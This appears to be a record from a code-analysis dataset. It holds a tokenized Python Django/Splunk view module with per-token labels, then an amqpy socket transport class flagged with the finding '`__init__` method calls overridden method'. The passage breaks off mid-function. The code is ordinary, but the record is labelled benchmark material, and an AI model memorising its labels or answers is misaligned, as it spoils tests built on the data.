"key_", "]_", "=_", "format_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "request_", ",_", "\"", "MET", "A", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "key_", ",_", "value_", "in_", "request_", "._", "META_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "request", "\\u", "info_", "[_", "'", "MET", "A", "'_", "]_", "[_", "key_", "]_", "=_", "format_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "settings", "\\u", "info_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "key_", ",_", "value_", "in_", "ctx_", "[_", "'", "settings", "'_", "]_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "settings", "\\u", "info_", "[_", "key_", "]_", "=_", "format_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ctx_", "[_", "'", "error", "id", "'_", "]_", "=_", "error", "id_", "=_", "uuid_", "._", "uuid4_", "(_", ")_", "._", "hex_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "full", "\\u", "info_", "=_", "dict_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "time_", "=_", "datetime_", "._", "datetime_", "._", "now_", "(_", ")_", "._", "isoformat_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "uuid_", "=_", "error", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "settings_", "=_", "settings", "\\u", "info_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "=_", "request", "\\u", "info_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "traceback_", "=_", "exception", "\\u", "info_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "stack_", "=_", "traceback_", "._", "format\\u", "exc_", "(_", "exc", "\\u", "info_", "[_", "2_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "last", "\\u", "frame_", "=_", "last", "\\u", "frame_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "template", "\\u", "loaders_", "=_", "loaders_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "template", "\\u", "errors_", "=_", "template", "\\u", "errors_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "unicode", "\\u", "hint_", "=_", "uni", "cdo", "e\\u", "hint_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "exception", "\\u", "type_", "=_", "exception", "\\u", "type_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "exception", "\\u", "value_", "=_", "exception", "\\u", "value_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "django", "\\u", "version_", "=_", "django", "\\u", "version_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "python", "\\u", "version_", "=_", "python", "\\u", "version_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "python", "\\u", "executable_", "=_", "python", "\\u", "executable_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "python", "\\u", "path_", "=_", "python", "\\u", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "server", "\\u", "time_", "=_", "server", "\\u", "time_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "(_", "error", "id_", ",_", "ctx_", ",_", "full", "\\u", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "redirec", "tor_", "(_", "request_", ",_", "app_", ",_", "view_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "params_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "(_", "key_", ",_", "val_", ")_", "in_", "request_", "._", "GET_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "params_", "[_", "key_", "]_", "=_", "val_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "full", "\\u", "name_", "=_", "\"%", "s", ":", "%", "s", "\"_", "%_", "(_", "app_", ",_", "view_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "view_", "or_", "not_", "app_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "error_", "(_", "\"", "Redirect", "or", " ", "require", "s", " ", "bot", "h", " ", "'", "app", "'", " ", "and", " ", "'", "view", "'", " ", "to", " ", "be", " ", "set", ",", " ", "receive", "d", ":", " ", "app", "='", "%", "s", "'", " ", "view", "='", "%", "s", "'\"_", "%_", "(_", "app_", ",_", "view_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Error_", "(_", "\"", "Redirect", "or", " ", "require", "s", " ", "bot", "h", " ", "'", "app", "'", " ", "and", " ", "'", "view", "'", " ", "to", " ", "be", " ", "set", ",", " ", "receive", "d", ":", " ", "app", "='", "%", "s", "'", " ", "view", "='", "%", "s", "'\"_", "%_", "(_", "app_", ",_", "view_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "Http", "Respons", "e", "Redirect_", "(_", "reverse_", "(_", "full", "\\u", "name_", ",_", "kwargs_", "=_", "params_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "default", "\\u", "search_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "request_", "._", "app", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lang", "\\u", "code_", "=_", "request_", "._", "LANGUAGE", "\\u", "CODE_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Http", "Respons", "e", "Redirect_", "(_", "make", "\\u", "splu", "nk", "web", "\\u", "url_", "(_", "\"/%", "s", "/", "app", "/", "%", "s", "/", "search", "\"_", "%_", "(_", "lang", "\\u", "code_", ",_", "app_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "default", "\\u", "flash", "timeline_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "request_", "._", "app", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lang", "\\u", "code_", "=_", "request_", "._", "LANGUAGE", "\\u", "CODE_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Http", "Respons", "e", "Redirect_", "(_", "make", "\\u", "splu", "nk", "web", "\\u", "url_", "(_", "\"/%", "s", "/", "app", "/", "%", "s", "/", "flash", "timeline", "\"_", "%_", "(_", "lang", "\\u", "code_", ",_", "app_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "render", "\\u", "to_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "login", "\\u", "required_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "default", "\\u", "template", "\\u", "render_", "(_", "request_", ",_", "template", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "request_", "._", "app", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template", "\\u", "path_", "=_", "\"%", "s", ":", "%", "s", ".", "html", "\"_", "%_", "(_", "app_", ",_", "template", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "TEMPL", "ATE", "\"_", ":_", "template", "\\u", "path_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "neve", "r", "\\u", "cache_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "handle", "404_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "code", " ", "is", " ", "modifi", "ed", " ", "from", " ", "views", "/", "debug", ".", "py", " ", "in", " ", "Dj", "ang", "o", ",", " ", "as", " ", "we", " ", "want", " ", "to", " ", "display_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "a", " ", "debug", " ", "style", " ", "view", ",", " ", "just", " ", "modifi", "ed", " ", "slight", "ly", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exc", "\\u", "info_", "=_", "sys_", "._", "exc", "\\u", "info_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exception_", "=_", "exc", "\\u", "info_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "trie", "d_", "=_", "exception_", "._", "args_", "[_", "0_", "]_", "[_", "'", "trie", "d", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "Index", "Error_", ",_", "Type", "Error_", ",_", "Key", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "trie", "d_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "url", "conf_", "=_", "getattr_", "(_", "request_", ",_", "'", "url", "conf", "'_", ",_", "settings_", "._", "ROO", "T", "\\u", "URLCONF_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "url", "conf_", ",_", "types_", "._", "Modul", "e", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url", "conf_", "=_", "url", "conf_", "._", "\\u\\u", "name\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "c_", "=_", "Context_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "conf", "'_", ":_", "url", "conf_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "root", "\\u", "url", "conf", "'_", ":_", "settings_", "._", "ROO", "T", "\\u", "URLCONF_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "\\u", "path", "'_", ":_", "request_", "._", "path", "\\u", "info_", "[_", "1_", ":_", "]_", ",_", "#", " ", "Trim", " ", "lead", "ing", " ", "slash_", "\\u\\u\\uNL\\u\\u\\u_", "'", "urlpa", "tter", "ns", "'_", ":_", "trie", "d_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reason", "'_", ":_", "force", "\\u", "bytes_", "(_", "exception_", ",_", "errors_", "=_", "'", "replace", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "request_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "settings", "'_", ":_", "get", "\\u", "safe", "\\u", "settings_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "Http", "Respons", "e", "Not", "Found_", "(_", "render", "\\u", "to", "\\u", "string_", "(_", "'", "splu", "nk", "dj", ":", "404", ".", "html", "'_", ",_", "context", "\\u", "instance_", "=_", "c_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "neve", "r", "\\u", "cache_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "handle", "500_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Let", "'", "s", " ", "atte", "mpt", " ", "to", " ", "render", " ", "a", " ", "more", " ", "usef", "ul", " ", "error", " ", "message_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error", "id_", ",_", "ctx_", ",_", "exception_", "=_", "get", "\\u", "exception", "\\u", "info_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "log", " ", "the", " ", "raw", " ", "error", " ", "to", " ", "the", " ", "log", " ", "file", ",", " ", "so", " ", "tha", "t", " ", "splu", "nk", " ", "can", " ", "pick", " ", "it", " ", "up", " ", "as_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "JSO", "N", "._", "\\u\\u\\uNL\\u\\u\\u_", "error", "\\u", "logger_", "._", "error_", "(_", "json_", "._", "dumps_", "(_", "exception_", ",_", "sort", "\\u", "keys_", "=_", "True_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Build", " ", "up", " ", "the", " ", "URL", " ", "for", " ", "mak", "ing", " ", "the", " ", "query_", "\\u\\u\\uNL\\u\\u\\u_", "lang", "\\u", "code_", "=_", "request_", "._", "LANGUAGE", "\\u", "CODE_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query", "\\u", "args_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "q", "\"_", ":_", "'", "search", " ", "index", "=", "\\u", "internal", " ", "source", "type", "=", "django", "\\u", "error", " ", "\"%", "s", "\"", " ", "|", " ", "head", " ", "1", " ", "|", " ", "spat", "h", "'_", "%_", "error", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "display", ".", "events", ".", "maxl", "ine", "s", "\"_", ":_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "display", ".", "genera", "l", ".", "type", "\"_", ":_", "\"", "events", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "earliest", "\"_", ":_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "late", "st", "\"_", ":_", "\"\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query", "\\u", "string_", "=_", "urllib_", "._", "urlencode_", "(_", "query", "\\u", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctx_", "[_", "'", "search", "\\u", "url", "'_", "]_", "=_", "make", "\\u", "splu", "nk", "web", "\\u", "url_", "(_", "\"/%", "s", "/", "app", "/", "search", "/", "search", "?", "%", "s", "\"_", "%_", "(_", "lang", "\\u", "code_", ",_", "query", "\\u", "string_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "Http", "Respons", "e", "Server", "Error_", "(_", "render", "\\u", "to", "\\u", "string_", "(_", "'", "splu", "nk", "dj", ":", "500", ".", "html", "'_", ",_", "context", "\\u", "instance_", "=_", "Context_", "(_", "ctx_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "neve", "r", "\\u", "cache_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "render", "\\u", "to_", "(_", "'", "splu", "nk", "dj", ":", "page", "\\u", "config", ".", "html", "'_", ",_", "mimetype_", "=_", "\"", "applica", "tion", "/", "javascript", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "login", "\\u", "required_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "page", "\\u", "config_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "referer_", "=_", "request_", "._", "META_", "._", "get_", "(_", "\"", "HTTP", "\\u", "REFE", "RER", "\"_", ",_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app", "\\u", "label_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "referer_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parsed_", "=_", "urlparse_", "(_", "referer_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parsed", "\\u", "path_", "=_", "parsed_", "._", "path_", "._", "replace_", "(_", "\"/%", "s", "/\"_", "%_", "settings_", "._", "MOUNT", "_", ",_", "\"/\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resolved_", "=_", "resolve_", "(_", "parsed", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "=_", "resolved_", "._", "app", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "app_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app", "\\u", "label_", "=_", "request_", "._", "service_", "._", "apps_", "[_", "app_", "]_", "[_", "\"", "label", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "there", " ", "was", " ", "an", " ", "error", " ", "here", ",", " ", "don", "'", "t", " ", "kill", " ", "the", " ", "entire", " ", "page_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "just", " ", "return", " ", "some", " ", "default", " ", "info_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "app_", "or_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app", "\\u", "label_", "=_", "app", "\\u", "label_", "or_", "app_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "zone", "\\u", "info_", "=_", "request_", "._", "service_", "._", "get_", "(_", "'/", "service", "s", "/", "search", "/", "timep", "arser", "/", "tz", "'_", ")_", "._", "body_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "autoload", "\"_", ":_", "\"", "1", "\"_", "==_", "request_", "._", "GET_", "._", "get_", "(_", "\"", "autoload", "\"_", ",_", "\"", "0", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "config", "\"_", ":_", "json_", "._", "dumps_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "SPL", "UNK", "D", "\\u", "FREE", "\\u", "LICENSE", "\"_", ":_", "request_", "._", "user_", "._", "is", "\\u", "free_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "MR", "SPAR", "KL", "E", "\\u", "ROO", "T", "\\u", "PATH", "\"_", ":_", "\"/%", "s", "\"_", "%_", "str_", "(_", "settings_", "._", "SPL", "UNK", "\\u", "WEB", "\\u", "MOUNT", "_", ")_", "._", "strip_", "(_", "\"/\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "DJANGO", "\\u", "ROO", "T", "\\u", "PATH", "\"_", ":_", "\"/%", "s", "\"_", "%_", "str_", "(_", "settings_", "._", "RA", "W", "\\u", "MOUNT", "_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "MR", "SPAR", "KL", "E", "\\u", "PORT", "\\u", "NUMB", "ER", "\"_", ":_", "str_", "(_", "settings_", "._", "SPL", "UNK", "\\u", "WEB", "\\u", "PORT_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "DJANGO", "\\u", "PORT", "\\u", "NUMB", "ER", "\"_", ":_", "str_", "(_", "settings_", "._", "DJANGO", "\\u", "PORT_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "LOCALE", "\"_", ":_", "str_", "(_", "request_", "._", "LANGUAGE", "\\u", "CODE_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "JS", "\\u", "LOGGE", "R", "\\u", "MODE", "\"_", ":_", "\"", "Non", "e", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "USER", "NAME", "\"_", ":_", "str_", "(_", "request_", "._", "user_", "._", "username_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "USER", "\\u", "DISPLAY", "NAME", "\"_", ":_", "str_", "(_", "request_", "._", "user_", "._", "real", "name_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "APP", "\"_", ":_", "str_", "(_", "app_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "APP", "\\u", "DISPLAY", "NAME", "\"_", ":_", "str_", "(_", "app", "\\u", "label_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "SERVER", "\\u", "ZONE", "INFO", "\"_", ":_", "str_", "(_", "zone", "\\u", "info_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
`__init__` method calls overridden method
veegee/amqpy/amqpy/transport.py
[ { "content": "class Transport:\n __metaclass__ = ABCMeta\n \"\"\"Common superclass for TCP and SSL transports\"\"\"\n connected = False\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.Transport", "header": "['module', '___EOS___']", "index": 29 }, { "content": " def __init__(self, host, port, connect_timeout, buf_size):\n \"\"\"\n :param host: hostname or IP address\n :param port: port\n :param connect_timeout: connect timeout\n :type host: str\n :type port: int\n :type connect_timeout: float or None\n \"\"\"\n self._rbuf = bytearray(buf_size)\n\n #: :type: datetime.datetime\n self.last_heartbeat_sent = None\n #: :type: datetime.datetime\n self.last_heartbeat_received = None\n\n self.last_heartbeat_sent_monotonic = 0.0\n\n # the purpose of the frame lock is to allow no more than one thread to read/write a frame\n # to the connection at any time\n self._frame_write_lock = RLock()\n self._frame_read_lock = RLock()\n\n self.sock = None\n\n # try to connect\n last_err = None\n for res in socket.getaddrinfo(host, port, 0, socket.SOCK_STREAM, socket.IPPROTO_TCP):\n af, socktype, proto, canonname, sa = res\n try:\n self.sock = socket.socket(af, socktype, proto)\n self.sock.settimeout(connect_timeout)\n self.sock.connect(sa)\n break\n except socket.error as exc:\n self.sock.close()\n self.sock = None\n last_err = exc\n\n if not self.sock:\n # didn't connect, return the most recent error message\n raise socket.error(last_err)\n\n try:\n assert isinstance(self.sock, socket.socket)\n self.sock.settimeout(None)\n self.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\n self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)\n\n self._setup_transport()\n\n self.write(AMQP_PROTOCOL_HEADER)\n except (OSError, IOError, socket.error) as exc:\n if get_errno(exc) not in _UNAVAIL:\n self.connected = False\n raise\n\n self.connected = True", "metadata": "root.Transport.__init__", "header": "['class', 'Transport', ':', '___EOS___']", "index": 34 }, { "content": " def __del__(self):\n try:\n # socket module may have been collected by gc if this is called by a thread at shutdown\n if socket is not None:\n # noinspection PyBroadException\n try:\n self.close()\n except:\n pass\n finally:\n self.sock = None", "metadata": "root.Transport.__del__", "header": "['class', 'Transport', ':', '___EOS___']", "index": 93 }, { "content": " def _read(self, n, initial, _errnos):\n \"\"\"Read from socket\n\n This is the default implementation. Subclasses may implement `read()` to simply call this\n method, or provide their own `read()` implementation.\n\n Note: According to SSL_read(3), it can at most return 16kB of data. Thus, we use an internal\n read buffer like to get the exact number of bytes wanted.\n\n Note: ssl.sock.read may cause ENOENT if the operation couldn't be performed (?).\n\n :param int n: exact number of bytes to read\n :return: data read\n :rtype: memoryview\n \"\"\"\n mview = memoryview(self._rbuf)\n to_read = n\n while to_read:\n try:\n bytes_read = self.sock.recv_into(mview, to_read)\n mview = mview[bytes_read:]\n to_read -= bytes_read\n except socket.error as exc:\n if not initial and exc.errno in _errnos:\n continue\n raise\n\n if not bytes_read:\n raise IOError('socket closed')\n\n return memoryview(self._rbuf)[:n]", "metadata": "root.Transport._read", "header": "['class', 'Transport', ':', '___EOS___']", "index": 105 }, { "content": " @abstractmethod\n def read(self, n, initial=False):\n \"\"\"Read exactly `n` bytes from the peer\n\n :param n: number of bytes to read\n :type n: int\n :return: data read\n :rtype: bytes\n \"\"\"\n pass", "metadata": "root.Transport.read", "header": "['class', 'Transport', ':', '___EOS___']", "index": 137 }, { "content": " @abstractmethod\n def write(self, s):\n \"\"\"Completely write a string to the peer\n \"\"\"", "metadata": "root.Transport.write", "header": "['class', 'Transport', ':', '___EOS___']", "index": 148 }, { "content": " def _setup_transport(self):\n \"\"\"Do any additional initialization of the class (used by the subclasses)\n \"\"\"\n pass", "metadata": "root.Transport._setup_transport", "header": "['class', 'Transport', ':', '___EOS___']", "index": 153 }, { "content": " def close(self):\n if self.sock is not None:\n # call shutdown first to make sure that pending messages reach the AMQP broker if the\n # program exits after calling this method\n self.sock.shutdown(socket.SHUT_RDWR)\n self.sock.close()\n self.sock = None\n self.connected = False", "metadata": "root.Transport.close", "header": "['class', 'Transport', ':', '___EOS___']", "index": 158 }, { "content": " @synchronized('_frame_read_lock')\n def read_frame(self):\n \"\"\"Read frame from connection\n\n Note that the frame may be destined for any channel. It is permitted to interleave frames\n from different channels.\n\n :return: frame\n :rtype: amqpy.proto.Frame\n \"\"\"\n frame = Frame()\n try:\n # read frame header: 7 bytes\n frame_header = self.read(7, True)\n frame.data.extend(frame_header)\n\n # read frame payload\n payload = self.read(frame.payload_size)\n frame.data.extend(payload)\n\n # read frame terminator byte\n frame_terminator = self.read(1)\n frame.data.extend(frame_terminator)\n\n if six.PY2:\n #: :type: int\n i_last_byte = six.byte2int(frame_terminator)\n else:\n # this fixes the change in memoryview in Python 3.3 (accessing an element returns the\n # correct type)\n #: :type: int\n i_last_byte = six.byte2int(bytes(frame_terminator))\n except (OSError, IOError, socket.error) as exc:\n # don't disconnect for ssl read time outs (Python 3.2):\n # http://bugs.python.org/issue10272\n if isinstance(exc, SSLError) and 'timed out' in str(exc):\n raise socket.timeout()\n if get_errno(exc) not in _UNAVAIL and not isinstance(exc, socket.timeout):\n self.connected = False\n raise\n\n if i_last_byte == FrameType.END:\n if frame.frame_type == FrameType.HEARTBEAT:\n self.last_heartbeat_received = 